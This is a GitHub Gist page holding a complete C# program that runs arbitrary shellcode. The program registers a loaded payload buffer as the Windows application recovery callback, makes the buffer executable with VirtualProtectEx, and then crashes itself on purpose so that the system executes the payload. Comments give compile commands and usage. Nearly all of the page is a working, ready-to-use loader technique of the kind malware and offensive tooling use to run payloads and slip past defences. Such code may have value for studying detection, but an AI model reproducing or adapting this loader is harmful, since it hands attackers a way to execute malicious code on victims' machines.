Created
March 25, 2022 09:21
-
-
Save Wra7h/fc3cd0c4f7cb6bb4b3674dff8b301b2a to your computer and use it in GitHub Desktop.
RegisterApplicationRecoveryCallback Shellcode Execution
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// IMPORTANT NOTE: | |
// It seems like when this is compiled with C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, the crash is handled more gracefully than v3.5. | |
// So you'll have to find another way to cause an _unexpected_ crash to use with v4.0.30319. | |
//Compile: C:\windows\Microsoft.NET\Framework64\v3.5\csc.exe .\RecoveryCallbackToShellcode.cs | |
//Usage: .\RecoveryCallbackToShellcode.exe <path to shellcode> | |
using System; | |
using System.Diagnostics; | |
using System.IO; | |
using System.Runtime.InteropServices; | |
namespace abcd | |
{ | |
class RecoveryCallbackToShellcode | |
{ | |
static void Main(string[] args) | |
{ | |
if (args.Length == 0) | |
{ | |
Console.WriteLine("\n[*] Specify the filepath to shellcode.\n"); | |
Environment.Exit(0); | |
} | |
if (!File.Exists(args[0])) | |
{ | |
Console.WriteLine("\n[!] File not found: {0}", args[0]); | |
Environment.Exit(0); | |
} | |
byte[] payload = File.ReadAllBytes(args[0]); | |
GCHandle pinnedPayload = GCHandle.Alloc(payload, GCHandleType.Pinned); | |
//Set the recovery callback. When an unexpected crash happens, the system will attempt to recover from this location. | |
//https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-registerapplicationrecoverycallback?redirectedfrom=MSDN | |
uint ret = RegisterApplicationRecoveryCallback(pinnedPayload.AddrOfPinnedObject(), IntPtr.Zero, 5, 0); | |
if (ret != 0) | |
{ | |
Console.WriteLine("[!] Error setting callback. Press enter to exit.."); | |
Console.ReadLine(); | |
Environment.Exit(0); | |
} | |
//Make the shellcode executable.. | |
//https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotectex | |
uint oldProtect = 0; | |
if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, pinnedPayload.AddrOfPinnedObject(), (UIntPtr)payload.Length, 0x20 /*RX*/, out oldProtect)) | |
{ | |
Console.WriteLine("[!] Error changing memory protections. Press enter to exit.."); | |
Console.ReadLine(); | |
Environment.Exit(0); | |
} | |
//Make sure a recovery callback exists for this process... | |
//https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getapplicationrecoverycallback | |
IntPtr pRC = IntPtr.Zero; | |
IntPtr ppvParam = IntPtr.Zero; | |
uint pdwPI = 0; | |
uint pdwFlags = 0; | |
ret = GetApplicationRecoveryCallback(Process.GetCurrentProcess().Handle, out pRC, out ppvParam, out pdwPI, out pdwFlags); | |
if (ret != 0) | |
{ | |
Console.WriteLine("[!] Error retrieving callback information. Press enter to exit.."); | |
Console.ReadLine(); | |
Environment.Exit(0); | |
} | |
Console.WriteLine("[+] ApplicationRecoveryCallback set!"); | |
//Intentionally cause a crash by attempting to write 1 byte to an area of memory without write permissions. | |
Console.WriteLine("Press enter to intentionally cause a crash..."); | |
Console.ReadLine(); | |
Marshal.Copy(payload, 0, (IntPtr)(0x00000001), 1); | |
} | |
[DllImport("kernel32.dll")] | |
static extern uint GetApplicationRecoveryCallback(IntPtr hProcess, out IntPtr pRecoveryCallback, out IntPtr ppvParameter, out uint pdwPingInterval, out uint pdwFlags); | |
[DllImport("kernel32.dll")] | |
static extern uint RegisterApplicationRecoveryCallback(IntPtr pRecoveryCallback, IntPtr pvParameter, int dwPingInterval, int dwFlags); | |
[DllImport("kernel32.dll")] | |
static extern bool VirtualProtectEx( IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment